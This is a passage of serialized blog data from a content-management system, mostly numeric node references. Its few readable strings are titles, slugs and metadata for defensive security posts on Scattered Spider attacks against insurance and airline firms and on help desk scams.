":121181,"nodeType":981},{},[121182],{"data":121183,"marks":121184,"value":117990,"nodeType":865},{},[121185],{"type":926},{"data":121187,"content":121188,"nodeType":866},{},[121189],{"data":121190,"marks":121191,"value":117997,"nodeType":865},{},[],{"data":121193,"content":121194,"nodeType":866},{},[121195,121198,121204],{"data":121196,"marks":121197,"value":118004,"nodeType":865},{},[],{"data":121199,"content":121200,"nodeType":889},{"uri":117504},[121201],{"data":121202,"marks":121203,"value":118011,"nodeType":865},{},[],{"data":121205,"marks":121206,"value":1615,"nodeType":865},{},[],{"data":121208,"content":121209,"nodeType":1616},{},[121210,121219,121228],{"data":121211,"content":121212,"nodeType":1570},{},[121213],{"data":121214,"content":121215,"nodeType":866},{},[121216],{"data":121217,"marks":121218,"value":118027,"nodeType":865},{},[],{"data":121220,"content":121221,"nodeType":1570},{},[121222],{"data":121223,"content":121224,"nodeType":866},{},[121225],{"data":121226,"marks":121227,"value":118037,"nodeType":865},{},[],{"data":121229,"content":121230,"nodeType":1570},{},[121231],{"data":121232,"content":121233,"nodeType":866},{},[121234],{"data":121235,"marks":121236,"value":118047,"nodeType":865},{},[],{"data":121238,"content":121239,"nodeType":866},{},[121240,121244,121251],{"data":121241,"marks":121242,"value":118055,"nodeType":865},{},[121243],{"type":926},{"data":121245,"content":121246,"nodeType":889},{"uri":16069},[121247],{"data":121248,"marks":121249,"value":118063,"nodeType":865},{},[121250],{"type":926},{"data":121252,"marks":121253,"value":118068,"nodeType":865},{},[121254],{"type":926},{"data":121256,"content":121259,"nodeType":912},{"target":121257},{"sys":121258},{"id":118073,"type":909,"linkType":910},[],{"data":121261,"content":121262,"nodeType":866},{},[121263],{"data":121264,"marks":121265,"value":21,"nodeType":865},{},[],{"items":121267},[121268,121270],{"sys":121269,"name":7796},{"id":7795},{"sys":121271,"name":342},{"id":4642},{"items":121273},[121274],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":121275},{"url":4683},"key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms","blog/key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms",{"json":121279},{"data":121280,"content":121281,"nodeType":1382},{},[121282],{"data":121283,"content":121284,"nodeType":866},{},[121285],{"data":121286,"marks":121287,"value":121288,"nodeType":865},{},[],"Scattered Spider continues to dominate the headlines, with the latest news linking the hackers to attacks on U.S. insurance giant Aflac, Philadelphia Insurance Companies, Erie Insurance, Hawaiian Airlines, WestJet, and Qantas. Here's what you need to know to defend your organization. ","Scattered Spider continues to dominate the headlines, with attacks on aviation and insurance companies worldwide.",{"id":121291,"publishedAt":121292},"3JS30QKx42bLnGYZh5K9ZP","2026-08-12T11:54:01.317Z",{"items":121294},[121295,121297],{"sys":121296,"name":7796},{"id":7795},{"sys":121298,"name":342},{"id":4642},{"items":121300},[121301,121303,121305,121307,121309,121311,121313,121315,121317,121319,121321,121323,121325,121327,121329,121331,121333,121335],{"sys":121302,"name":279,"slug":280,"tier":31},{"id":276},{"sys":121304,"name":413,"slug":414,"tier":31},{"id":410},{"sys":121306,"name":519,"slug":520,"tier":31},{"id":516},{"sys":121308,"name":642,"slug":643,"tier":31},{"id":639},{"sys":121310,"name":342,"slug":343,"tier":31},{"id":339},{"sys":121312,"name":650,"slug":651,"tier":45},{"id":647},{"sys":121314,"name":261,"slug":262,"tier":45},{"id":258},{"sys":121316,"name":404,"slug":405,"tier":45},{"id":401},{"sys":121318,"name":528,"slug":529,"tier":45},{"id":525},{"sys":121320,"name":607,"slug":608,"tier":45},{"id":604},{"sys":121322,"name":466,"slug":467,"tier":45},{"id":463},{"sys":121324,"name":324,"slug":325,"tier":45},{"id":321},{"sys":121326,"name":333,"slug":334,"tier":45},{"id":330},{"sys":121328,"name":422,"slug":423,"tier":45},{"id":419},{"sys":121330,"name":571,"slug":572,"tier":45},{"id":568},{"sys":121332,"name":537,"slug":538,"tier":45},{"id":534},{"sys":121334,"name":457,"slug":458,"tier":45},{"id":454},{"sys":121336,"name":502,"slug":503,"tier":45},{"id":499},"EUQaIzN2danmdv-FjrFO_UhoqY0mW4m10bij_jFoR_I",{"id":121339,"title":54533,"authorsCollection":121340,"content":121345,"extension":228,"faqItemsCollection":121925,"faqTitle":59,"featured":6,"hashTags":59,"meta":121927,"metaTitle":121928,"ogImage":121929,"postType":42959,"publishedDate":54535,"relatedBlogPostsCollection":121930,"slug":54536,"stem":124119,"subtitle":59,"summary":124120,"synopsis":54534,"sys":124131,"tagsCollection":124133,"topicsCollection":124139,"__hash__":124171},"blog/blog/scattered-spider-defending-against-help-desk-scams.json",{"items":121341},[121342],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":121343,"profilePicture":121344},[30152],{"url":7804},{"json":121346,"links":121880},{"data":121347,"content":121348,"nodeType":1382},{},[121349,121354,121380,121456,121519,121525,121528,121534,121540,121546,121559,121565,121571,121574,121580,121586,121592,121622,121628,121649,121655,121658,121664,121670,121686,121763,121769,121774,121777,121783,121789,121795,121800,121817,121822,121828,121831,121837,121853,121869,121874],{"data":121350,"content":121353,"nodeType":912},{"target":121351},{"sys":121352},{"id":53916,"type":909,"linkType":910},[],{"data":121355,"content":121356,"nodeType":866},{},[121357,121360,121367,121370,121377],{"data":121358,"marks":121359,"value":53924,"nodeType":865},{},[],{"data":121361,"content":121362,"nodeType":889},{"uri":53927},[121363],{"data":121364,"marks":121365,"value":53933,"nodeType":865},{},[121366],{"type":943},{"data":121368,"marks":121369,"value":4988,"nodeType":865},{},[],{"data":121371,"content":121372,"nodeType":889},{"uri":53939},[121373],{"data":121374,"marks":121375,"value":53945,"nodeType":865},{},[121376],{"type":943},{"data":121378,"marks":121379,"value":53949,"nodeType":865},{},[],{"data":121381,"content":121382,"nodeType":866},{},[121383,121386,121393,121396,121403,121406,121413,121416,121423,121426,121433,121436,121443,121446,121453],{"data":121384,"marks":121385,"value":53956,"nodeType":865},{},[],{"data":121387,"content":121388,"nodeType":889},{"uri":53959},[121389],{"data":121390,"marks":121391,"value":53965,"nodeType":865},{},[121392],{"type":943},{"data":121394,"marks":121395,"value":2717,"nodeType":865},{},[],{"data":121397,"content":121398,"nodeType":889},{"uri":53971},[121399],{"data":121400,"marks":121401,"value":53977,"nodeType":865},{},[121402],{"type":943},{"data":121404,"marks":121405,"value":2717,"nodeType":865},{},[],{"data":121407,"content":121408,"nodeType":889},{"uri":53983},[121409],{"data":121410,"marks":121411,"value":53989,"nodeType":865},{},[121412],{"type":943},{"data":121414,"marks":121415,"value":2717,"nodeType":865},{},[],{"data":121417,"content":121418,"nodeType":889},{"uri":53995},[121419],{"data":121420,"marks":121421,"value":54001,"nodeType":865},{},[121422],{"type":943},{"data":121424,"marks":121425,"value":2717,"nodeType":865},{},[],{"data":121427,"content":121428,"nodeType":889},{"uri":54007},[121429],{"data":121430,"marks":121431,"value":54013,"nodeType":865},{},[121432],{"type":943},{"data":121434,"marks":121435,"value":2717,"nodeType":865},{},[],{"data":121437,"content":121438,"nodeType":889},{"uri":54019},[121439],{"data":121440,"marks":121441,"value":54025,"nodeType":865},{},[121442],{"type":943},{"data":121444,"marks":121445,"value":3476,"nodeType":865},{},[],{"data":121447,"content":121448,"nodeType":889},{"uri":54031},[121449],{"data":121450,"marks":121451,"value":54037,"nodeType":865},{},[121452],{"type":943},{"data":121454,"marks":121455,"value":54041,"nodeType":865},{},[],{"data":121457,"content":121458,"nodeType":866},{},[121459,121462,121469,121472,121479,121482,121489,121492,121498,121501,121507,121510,121516],{"data":121460,"marks":121461,"value":54048,"nodeType":865},{},[],{"data":121463,"content":121464,"nodeType":889},{"uri":54051},[121465],{"data":121466,"marks":121467,"value":54057,"nodeType":865},{},[121468],{"type":943},{"data":121470,"marks":121471,"value":2717,"nodeType":865},{},[],{"data":121473,"content":121474,"nodeType":889},{"uri":54063},[121475],{"data":121476,"marks":121477,"value":54069,"nodeType":865},{},[121478],{"type":943},{"data":121480,"marks":121481,"value":54073,"nodeType":865},{},[],{"data":121483,"content":121484,"nodeType":889},{"uri":54076},[121485],{"data":121486,"marks":121487,"value":54082,"nodeType":865},{},[121488],{"type":943},{"data":121490,"marks":121491,"value":54086,"nodeType":865},{},[],{"data":121493,"content":121494,"nodeType":889},{"uri":54089},[121495],{"data":121496,"marks":121497,"value":54094,"nodeType":865},{},[],{"data":121499,"marks":121500,"value":2717,"nodeType":865},{},[],{"data":121502,"content":121503,"nodeType":889},{"uri":54100},[121504],{"data":121505,"marks":121506,"value":54105,"nodeType":865},{},[],{"data":121508,"marks":121509,"value":4988,"nodeType":865},{},[],{"data":121511,"content":121512,"nodeType":889},{"uri":54100},[121513],{"data":121514,"marks":121515,"value":54115,"nodeType":865},{},[],{"data":121517,"marks":121518,"value":6719,"nodeType":865},{},[],{"data":121520,"content":121521,"nodeType":866},{},[121522],{"data":121523,"marks":121524,"value":54125,"nodeType":865},{},[],{"data":121526,"content":121527,"nodeType":972},{},[],{"data":121529,"content":121530,"nodeType":981},{},[121531],{"data":121532,"marks":121533,"value":54135,"nodeType":865},{},[],{"data":121535,"content":121536,"nodeType":866},{},[121537],{"data":121538,"marks":121539,"value":54142,"nodeType":865},{},[],{"data":121541,"content":121542,"nodeType":866},{},[121543],{"data":121544,"marks":121545,"value":54149,"nodeType":865},{},[],{"data":121547,"content":121548,"nodeType":866},{},[121549,121552,121556],{"data":121550,"marks":121551,"value":54156,"nodeType":865},{},[],{"data":121553,"marks":121554,"value":54161,"nodeType":865},{},[121555],{"type":898},{"data":121557,"marks":121558,"value":54165,"nodeType":865},{},[],{"data":121560,"content":121561,"nodeType":866},{},[121562],{"data":121563,"marks":121564,"value":54172,"nodeType":865},{},[],{"data":121566,"content":121567,"nodeType":866},{},[121568],{"data":121569,"marks":121570,"value":54179,"nodeType":865},{},[],{"data":121572,"content":121573,"nodeType":972},{},[],{"data":121575,"content":121576,"nodeType":981},{},[121577],{"data":121578,"marks":121579,"value":54189,"nodeType":865},{},[],{"data":121581,"content":121582,"nodeType":866},{},[121583],{"data":121584,"marks":121585,"value":54196,"nodeType":865},{},[],{"data":121587,"content":121588,"nodeType":866},{},[121589],{"data":121590,"marks":121591,"value":54203,"nodeType":865},{},[],{"data":121593,"content":121594,"nodeType":1616},{},[121595,121604,121613],{"data":121596,"content":121597,"nodeType":1570},{},[121598],{"data":121599,"content":121600,"nodeType":866},{},[121601],{"data":121602,"marks":121603,"value":54216,"nodeType":865},{},[],{"data":121605,"content":121606,"nodeType":1570},{},[121607],{"data":121608,"content":121609,"nodeType":866},{},[121610],{"data":121611,"marks":121612,"value":54226,"nodeType":865},{},[],{"data":121614,"content":121615,"nodeType":1570},{},[121616],{"data":121617,"content":121618,"nodeType":866},{},[121619],{"data":121620,"marks":121621,"value":54236,"nodeType":865},{},[],{"data":121623,"content":121624,"nodeType":866},{},[121625],{"data":121626,"marks":121627,"value":54243,"nodeType":865},{},[],{"data":121629,"content":121630,"nodeType":1616},{},[121631,121640],{"data":121632,"content":121633,"nodeType":1570},{},[121634],{"data":121635,"content":121636,"nodeType":866},{},[121637],{"data":121638,"marks":121639,"value":54256,"nodeType":865},{},[],{"data":121641,"content":121642,"nodeType":1570},{},[121643],{"data":121644,"content":121645,"nodeType":866},{},[121646],{"data":121647,"marks":121648,"value":54266,"nodeType":865},{},[],{"data":121650,"content":121651,"nodeType":866},{},[121652],{"data":121653,"marks":121654,"value":54273,"nodeType":865},{},[],{"data":121656,"content":121657,"nodeType":972},{},[],{"data":121659,"content":121660,"nodeType":981},{},[121661],{"data":121662,"marks":121663,"value":54283,"nodeType":865},{},[],{"data":121665,"content":121666,"nodeType":866},{},[121667],{"data":121668,"marks":121669,"value":54290,"nodeType":865},{},[],{"data":121671,"content":121672,"nodeType":866},{},[121673,121676,121683],{"data":121674,"marks":121675,"value":21,"nodeType":865},{},[],{"data":121677,"content":121678,"nodeType":889},{"uri":54299},[121679],{"data":121680,"marks":121681,"value":54305,"nodeType":865},{},[121682],{"type":943},{"data":121684,"marks":121685,"value":54309,"nodeType":865},{},[],{"data":121687,"content":121688,"nodeType":1616},{},[121689,121698,121707,121726,121735,121744],{"data":121690,"content":121691,"nodeType":1570},{},[121692],{"data":121693,"content":121694,"nodeType":866},{},[121695],{"data":121696,"marks":121697,"value":54322,"nodeType":865},{},[],{"data":121699,"content":121700,"nodeType":1570},{},[121701],{"data":121702,"content":121703,"nodeType":866},{},[121704],{"data":121705,"marks":121706,"value":54332,"nodeType":865},{},[],{"data":121708,"content":121709,"nodeType":1570},{},[121710],{"data":121711,"content":121712,"nodeType":866},{},[121713,121716,121723],{"data":121714,"marks":121715,"value":54342,"nodeType":865},{},[],{"data":121717,"content":121718,"nodeType":889},{"uri":53203},[121719],{"data":121720,"marks":121721,"value":53208,"nodeType":865},{},[121722],{"type":943},{"data":121724,"marks":121725,"value":54353,"nodeType":865},{},[],{"data":121727,"content":121728,"nodeType":1570},{},[121729],{"data":121730,"content":121731,"nodeType":866},{},[121732],{"data":121733,"marks":121734,"value":54363,"nodeType":865},{},[],{"data":121736,"content":121737,"nodeType":1570},{},[121738],{"data":121739,"content":121740,"nodeType":866},{},[121741],{"data":121742,"marks":121743,"value":54373,"nodeType":865},{},[],{"data":121745,"content":121746,"nodeType":1570},{},[121747],{"data":121748,"content":121749,"nodeType":866},{},[121750,121753,121760],{"data":121751,"marks":121752,"value":54383,"nodeType":865},{},[],{"data":121754,"content":121755,"nodeType":889},{"uri":54386},[121756],{"data":121757,"marks":121758,"value":54392,"nodeType":865},{},[121759],{"type":943},{"data":121761,"marks":121762,"value":54396,"nodeType":865},{},[],{"data":121764,"content":121765,"nodeType":866},{},[121766],{"data":121767,"marks":121768,"value":54403,"nodeType":865},{},[],{"data":121770,"content":121773,"nodeType":912},{"target":121771},{"sys":121772},{"id":54408,"type":909,"linkType":910},[],{"data":121775,"content":121776,"nodeType":972},{},[],{"data":121778,"content":121779,"nodeType":981},{},[121780],{"data":121781,"marks":121782,"value":54419,"nodeType":865},{},[],{"data":121784,"content":121785,"nodeType":866},{},[121786],{"data":121787,"marks":121788,"value":54426,"nodeType":865},{},[],{"data":121790,"content":121791,"nodeType":866},{},[121792],{"data":121793,"marks":121794,"value":54433,"nodeType":865},{},[],{"data":121796,"content":121799,"nodeType":912},{"target":121797},{"sys":121798},{"id":54438,"type":909,"linkType":910},[],{"data":121801,"content":121802,"nodeType":866},{},[121803,121806,121814],{"data":121804,"marks":121805,"value":54446,"nodeType":865},{},[],{"data":121807,"content":121808,"nodeType":889},{"uri":54449},[121809],{"data":121810,"marks":121811,"value":54456,"nodeType":865},{},[121812,121813],{"type":943},{"type":926},{"data":121815,"marks":121816,"value":54460,"nodeType":865},{},[],{"data":121818,"content":121821,"nodeType":912},{"target":121819},{"sys":121820},{"id":54465,"type":909,"linkType":910},[],{"data":121823,"content":121824,"nodeType":866},{},[121825],{"data":121826,"marks":121827,"value":54473,"nodeType":865},{},[],{"data":121829,"content":121830,"nodeType":972},{},[],{"data":121832,"content":121833,"nodeType":981},{},[121834],{"data":121835,"marks":121836,"value":54483,"nodeType":865},{},[],{"data":121838,"content":121839,"nodeType":866},{},[121840,121843,121850],{"data":121841,"marks":121842,"value":54490,"nodeType":865},{},[],{"data":121844,"content":121845,"nodeType":889},{"uri":54493},[121846],{"data":121847,"marks":121848,"value":54499,"nodeType":865},{},[121849],{"type":943},{"data":121851,"marks":121852,"value":54503,"nodeType":865},{},[],{"data":121854,"content":121855,"nodeType":866},{},[121856,121859,121866],{"data":121857,"marks":121858,"value":54510,"nodeType":865},{},[],{"data":121860,"content":121861,"nodeType":889},{"uri":16069},[121862],{"data":121863,"marks":121864,"value":11405,"nodeType":865},{},[121865],{"type":943},{"data":121867,"marks":121868,"value":1615,"nodeType":865},{},[],{"data":121870,"content":121873,"nodeType":912},{"target":121871},{"sys":121872},{"id":54525,"type":909,"linkType":910},[],{"data":121875,"content":121876,"nodeType":866},{},[121877],{"data":121878,"marks":121879,"value":21,"nodeType":865},{},[],{"entries":121881},{"hyperlink":121882,"inline":121883,"block":121884},[],[],[121885,121915,121917,121920,121923],{"sys":121886,"__typename":5503,"content":121887,"name":119807,"title":59},{"id":53916},{"json":121888},{"nodeType":1382,"data":121889,"content":121890},{},[121891],{"nodeType":866,"data":121892,"content":121893},{},[121894,121897,121903,121906,121912],{"nodeType":865,"value":119782,"marks":121895,"data":121896},[],{},{"nodeType":889,"data":121898,"content":121899},{"uri":83801},[121900],{"nodeType":865,"value":119789,"marks":121901,"data":121902},[],{},{"nodeType":865,"value":119793,"marks":121904,"data":121905},[],{},{"nodeType":889,"data":121907,"content":121908},{"uri":83801},[121909],{"nodeType":865,"value":119800,"marks":121910,"data":121911},[],{},{"nodeType":865,"value":119804,"marks":121913,"data":121914},[],{},{"sys":121916,"__typename":1414,"type":1415,"ctaText":119810,"buttonLabel":119811,"buttonColour":1418,"buttonUrl":119812},{"id":54408},{"sys":121918,"__typename":1390,"title":119845,"caption":119845,"layoutMode":59,"file":121919},{"id":54438},{"url":119847,"width":1402,"height":119818},{"sys":121921,"__typename":1390,"title":78589,"caption":78590,"layoutMode":59,"file":121922},{"id":54465},{"url":78592,"width":78593,"height":78594},{"sys":121924,"__typename":1414,"type":1415,"ctaText":119860,"buttonLabel":119861,"buttonColour":1418,"buttonUrl":54493},{"id":54525},{"items":121926},[],{},"How to protect your organization from help desk scams",{"url":119867},{"items":121931},[121932,122485,122790],{"__typename":1429,"sys":121933,"content":121934,"title":118081,"synopsis":118082,"hashTags":59,"publishedDate":118083,"slug":118084,"tagsCollection":122475,"authorsCollection":122481},{"id":117468},{"json":121935},{"data":121936,"content":121937,"nodeType":1382},{},[121938,121944,121950,121957,121980,121986,121991,121994,122001,122007,122013,122052,122058,122064,122067,122074,122080,122086,122092,122108,122114,122119,122126,122132,122138,122144,122149,122152,122159,122166,122172,122179,122185,122243,122249,122256,122262,122292,122299,122305,122312,122318,122325,122331,122379,122385,122388,122395,122401,122416,122446,122464,122469],{"data":121939,"content":121940,"nodeType":866},{},[121941],{"data":121942,"marks":121943,"value":117479,"nodeType":865},{},[],{"data":121945,"content":121946,"nodeType":866},{},[121947],{"data":121948,"marks":121949,"value":117486,"nodeType":865},{},[],{"data":121951,"content":121952,"nodeType":866},{},[121953],{"data":121954,"marks":121955,"value":117494,"nodeType":865},{},[121956],{"type":926},{"data":121958,"content":121959,"nodeType":866},{},[121960,121963,121970,121973,121977],{"data":121961,"marks":121962,"value":117501,"nodeType":865},{},[],{"data":121964,"content":121965,"nodeType":889},{"uri":117504},[121966],{"data":121967,"marks":121968,"value":117510,"nodeType":865},{},[121969],{"type":943},{"data":121971,"marks":121972,"value":117514,"nodeType":865},{},[],{"data":121974,"marks":121975,"value":117519,"nodeType":865},{},[121976],{"type":898},{"data":121978,"marks":121979,"value":117523,"nodeType":865},{},[],{"data":121981,"content":121982,"nodeType":866},{},[121983],{"data":121984,"marks":121985,"value":117530,"nodeType":865},{},[],{"data":121987,"content":121990,"nodeType":912},{"target":121988},{"sys":121989},{"id":117535,"type":909,"linkType":910},[],{"data":121992,"content":121993,"nodeType":972},{},[],{"data":121995,"content":121996,"nodeType":981},{},[121997],{"data":121998,"marks":121999,"value":117547,"nodeType":865},{},[122000],{"type":926},{"data":122002,"content":122003,"nodeType":866},{},[122004],{"data":122005,"marks":122006,"value":117554,"nodeType":865},{},[],{"data":122008,"content":122009,"nodeType":866},{},[122010],{"data":122011,"marks":122012,"value":117561,"nodeType":865},{},[],{"data":122014,"content":122015,"nodeType":1616},{},[122016,122025,122034,122043],{"data":122017,"content":122018,"nodeType":1570},{},[122019],{"data":122020,"content":122021,"nodeType":866},{},[122022],{"data":122023,"marks":122024,"value":117574,"nodeType":865},{},[],{"data":122026,"content":122027,"nodeType":1570},{},[122028],{"data":122029,"content":122030,"nodeType":866},{},[122031],{"data":122032,"marks":122033,"value":117584,"nodeType":865},{},[],{"data":122035,"content":122036,"nodeType":1570},{},[122037],{"data":122038,"content":122039,"nodeType":866},{},[122040],{"data":122041,"marks":122042,"value":117594,"nodeType":865},{},[],{"data":122044,"content":122045,"nodeType":1570},{},[122046],{"data":122047,"content":122048,"nodeType":866},{},[122049],{"data":122050,"marks":122051,"value":117604,"nodeType":865},{},[],{"data":122053,"content":122054,"nodeType":866},{},[122055],{"data":122056,"marks":122057,"value":117611,"nodeType":865},{},[],{"data":122059,"content":122060,"nodeType":866},{},[122061],{"data":122062,"marks":122063,"value":117618,"nodeType":865},{},[],{"data":122065,"content":122066,"nodeType":972},{},[],{"data":122068,"content":122069,"nodeType":981},{},[122070],{"data":122071,"marks":122072,"value":117629,"nodeType":865},{},[122073],{"type":926},{"data":122075,"content":122076,"nodeType":866},{},[122077],{"data":122078,"marks":122079,"value":117636,"nodeType":865},{},[],{"data":122081,"content":122082,"nodeType":866},{},[122083],{"data":122084,"marks":122085,"value":117643,"nodeType":865},{},[],{"data":122087,"content":122088,"nodeType":866},{},[122089],{"data":122090,"marks":122091,"value":117650,"nodeType":865},{},[],{"data":122093,"content":122094,"nodeType":866},{},[122095,122098,122105],{"data":122096,"marks":122097,"value":117657,"nodeType":865},{},[],{"data":122099,"content":122100,"nodeType":889},{"uri":15860},[122101],{"data":122102,"marks":122103,"value":102968,"nodeType":865},{},[122104],{"type":943},{"data":122106,"marks":122107,"value":117668,"nodeType":865},{},[],{"data":122109,"content":122110,"nodeType":866},{},[122111],{"data":122112,"marks":122113,"value":117675,"nodeType":865},{},[],{"data":122115,"content":122118,"nodeType":912},{"target":122116},{"sys":122117},{"id":117680,"type":909,"linkType":910},[],{"data":122120,"content":122121,"nodeType":981},{},[122122],{"data":122123,"marks":122124,"value":117689,"nodeType":865},{},[122125],{"type":926},{"data":122127,"content":122128,"nodeType":866},{},[122129],{"data":122130,"marks":122131,"value":117696,"nodeType":865},{},[],{"data":122133,"content":122134,"nodeType":866},{},[122135],{"data":122136,"marks":122137,"value":117703,"nodeType":865},{},[],{"data":122139,"content":122140,"nodeType":866},{},[122141],{"data":122142,"marks":122143,"value":117710,"nodeType":865},{},[],{"data":122145,"content":122148,"nodeType":912},{"target":122146},{"sys":122147},{"id":117715,"type":909,"linkType":910},[],{"data":122150,"content":122151,"nodeType":972},{},[],{"data":122153,"content":122154,"nodeType":981},{},[122155],{"data":122156,"marks":122157,"value":117727,"nodeType":865},{},[122158],{"type":926},{"data":122160,"content":122161,"nodeType":1317},{},[122162],{"data":122163,"marks":122164,"value":117735,"nodeType":865},{},[122165],{"type":926},{"data":122167,"content":122168,"nodeType":866},{},[122169],{"data":122170,"marks":122171,"value":117742,"nodeType":865},{},[],{"data":122173,"content":122174,"nodeType":1317},{},[122175],{"data":122176,"marks":122177,"value":117750,"nodeType":865},{},[122178],{"type":926},{"data":122180,"content":122181,"nodeType":866},{},[122182],{"data":122183,"marks":122184,"value":117757,"nodeType":865},{},[],{"data":122186,"content":122187,"nodeType":1616},{},[122188,122197,122206,122225,122234],{"data":122189,"content":122190,"nodeType":1570},{},[122191],{"data":122192,"content":122193,"nodeType":866},{},[122194],{"data":122195,"marks":122196,"value":117770,"nodeType":865},{},[],{"data":122198,"content":122199,"nodeType":1570},{},[122200],{"data":122201,"content":122202,"nodeType":866},{},[122203],{"data":122204,"marks":122205,"value":117780,"nodeType":865},{},[],{"data":122207,"content":122208,"nodeType":1570},{},[122209],{"data":122210,"content":122211,"nodeType":866},{},[122212,122215,122222],{"data":122213,"marks":122214,"value":113738,"nodeType":865},{},[],{"data":122216,"content":122217,"nodeType":889},{"uri":110870},[122218],{"data":122219,"marks":122220,"value":113746,"nodeType":865},{},[122221],{"type":943},{"data":122223,"marks":122224,"value":21,"nodeType":865},{},[],{"data":122226,"content":122227,"nodeType":1570},{},[122228],{"data":122229,"content":122230,"nodeType":866},{},[122231],{"data":122232,"marks":122233,"value":117809,"nodeType":865},{},[],{"data":122235,"content":122236,"nodeType":1570},{},[122237],{"data":122238,"content":122239,"nodeType":866},{},[122240],{"data":122241,"marks":122242,"value":117819,"nodeType":865},{},[],{"data":122244,"content":122245,"nodeType":866},{},[122246],{"data":122247,"marks":122248,"value":117826,"nodeType":865},{},[],{"data":122250,"content":122251,"nodeType":1317},{},[122252],{"data":122253,"marks":122254,"value":117834,"nodeType":865},{},[122255],{"type":926},{"data":122257,"content":122258,"nodeType":866},{},[122259],{"data":122260,"marks":122261,"value":117841,"nodeType":865},{},[],{"data":122263,"content":122264,"nodeType":1616},{},[122265,122274,122283],{"data":122266,"content":122267,"nodeType":1570},{},[122268],{"data":122269,"content":122270,"nodeType":866},{},[122271],{"data":122272,"marks":122273,"value":117854,"nodeType":865},{},[],{"data":122275,"content":122276,"nodeType":1570},{},[122277],{"data":122278,"content":122279,"nodeType":866},{},[122280],{"data":122281,"marks":122282,"value":117864,"nodeType":865},{},[],{"data":122284,"content":122285,"nodeType":1570},{},[122286],{"data":122287,"content":122288,"nodeType":866},{},[122289],{"data":122290,"marks":122291,"value":117874,"nodeType":865},{},[],{"data":122293,"content":122294,"nodeType":1317},{},[122295],{"data":122296,"marks":122297,"value":117882,"nodeType":865},{},[122298],{"type":926},{"data":122300,"content":122301,"nodeType":866},{},[122302],{"data":122303,"marks":122304,"value":117889,"nodeType":865},{},[],{"data":122306,"content":122307,"nodeType":1317},{},[122308],{"data":122309,"marks":122310,"value":117897,"nodeType":865},{},[122311],{"type":926},{"data":122313,"content":122314,"nodeType":866},{},[122315],{"data":122316,"marks":122317,"value":117904,"nodeType":865},{},[],{"data":122319,"content":122320,"nodeType":1317},{},[122321],{"data":122322,"marks":122323,"value":117912,"nodeType":865},{},[122324],{"type":926},{"data":122326,"content":122327,"nodeType":866},{},[122328],{"data":122329,"marks":122330,"value":117919,"nodeType":865},{},[],{"data":122332,"content":122333,"nodeType":1616},{},[122334,122343,122352,122361,122370],{"data":122335,"content":122336,"nodeType":1570},{},[122337],{"data":122338,"content":122339,"nodeType":866},{},[122340],{"data":122341,"marks":122342,"value":117932,"nodeType":865},{},[],{"data":122344,"content":122345,"nodeType":1570},{},[122346],{"data":122347,"content":122348,"nodeType":866},{},[122349],{"data":122350,"marks":122351,"value":117942,"nodeType":865},{},[],{"data":122353,"content":122354,"nodeType":1570},{},[122355],{"data":122356,"content":122357,"nodeType":866},{},[122358],{"data":122359,"marks":122360,"value":117952,"nodeType":865},{},[],{"data":122362,"content":122363,"nodeType":1570},{},[122364],{"data":122365,"content":122366,"nodeType":866},{},[122367],{"data":122368,"marks":122369,"value":117962,"nodeType":865},{},[],{"data":122371,"content":122372,"nodeType":1570},{},[122373],{"data":122374,"content":122375,"nodeType":866},{},[122376],{"data":122377,"marks":122378,"value":117972,"nodeType":865},{},[],{"data":122380,"content":122381,"nodeType":866},{},[122382],{"data":122383,"marks":122384,"value":117979,"nodeType":865},{},[],{"data":122386,"content":122387,"nodeType":972},{},[],{"data":122389,"content":122390,"nodeType":981},{},[122391],{"data":122392,"marks":122393,"value":117990,"nodeType":865},{},[122394],{"type":926},{"data":122396,"content":122397,"nodeType":866},{},[122398],{"data":122399,"marks":122400,"value":117997,"nodeType":865},{},[],{"data":122402,"content":122403,"nodeType":866},{},[122404,122407,122413],{"data":122405,"marks":122406,"value":118004,"nodeType":865},{},[],{"data":122408,"content":122409,"nodeType":889},{"uri":117504},[122410],{"data":122411,"marks":122412,"value":118011,"nodeType":865},{},[],{"data":122414,"marks":122415,"value":1615,"nodeType":865},{},[],{"data":122417,"content":122418,"nodeType":1616},{},[122419,122428,122437],{"data":122420,"content":122421,"nodeType":1570},{},[122422],{"data":122423,"content":122424,"nodeType":866},{},[122425],{"data":122426,"marks":122427,"value":118027,"nodeType":865},{},[],{"data":122429,"content":122430,"nodeType":1570},{},[122431],{"data":122432,"content":122433,"nodeType":866},{},[122434],{"data":122435,"marks":122436,"value":118037,"nodeType":865},{},[],{"data":122438,"content":122439,"nodeType":1570},{},[122440],{"data":122441,"content":122442,"nodeType":866},{},[122443],{"data":122444,"marks":122445,"value":118047,"nodeType":865},{},[],{"data":122447,"content":122448,"nodeType":866},{},[122449,122453,122460],{"data":122450,"marks":122451,"value":118055,"nodeType":865},{},[122452],{"type":926},{"data":122454,"content":122455,"nodeType":889},{"uri":16069},[122456],{"data":122457,"marks":122458,"value":118063,"nodeType":865},{},[122459],{"type":926},{"data":122461,"marks":122462,"value":118068,"nodeType":865},{},[122463],{"type":926},{"data":122465,"content":122468,"nodeType":912},{"target":122466},{"sys":122467},{"id":118073,"type":909,"linkType":910},[],{"data":122470,"content":122471,"nodeType":866},{},[122472],{"data":122473,"marks":122474,"value":21,"nodeType":865},{},[],{"items":122476},[122477,122479],{"sys":122478,"name":7796},{"id":7795},{"sys":122480,"name":342},{"id":4642},{"items":122482},[122483],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":122484},{"url":4683},{"__typename":1429,"sys":122486,"content":122487,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":122782,"authorsCollection":122786},{"id":80645},{"json":122488},{"data":122489,"content":122490,"nodeType":1382},{},[122491,122497,122503,122509,122514,122520,122550,122556,122562,122568,122573,122579,122585,122600,122605,122611,122627,122643,122649,122655,122661,122667,122673,122679,122685,122701,122707,122713,122718,122724,122730,122750,122755,122771,122776],{"data":122492,"content":122493,"nodeType":866},{},[122494],{"data":122495,"marks":122496,"value":115540,"nodeType":865},{},[],{"data":122498,"content":122499,"nodeType":866},{},[122500],{"data":122501,"marks":122502,"value":115547,"nodeType":865},{},[],{"data":122504,"content":122505,"nodeType":866},{},[122506],{"data":122507,"marks":122508,"value":115554,"nodeType":865},{},[],{"data":122510,"content":122513,"nodeType":912},{"target":122511},{"sys":122512},{"id":115559,"type":909,"linkType":910},[],{"data":122515,"content":122516,"nodeT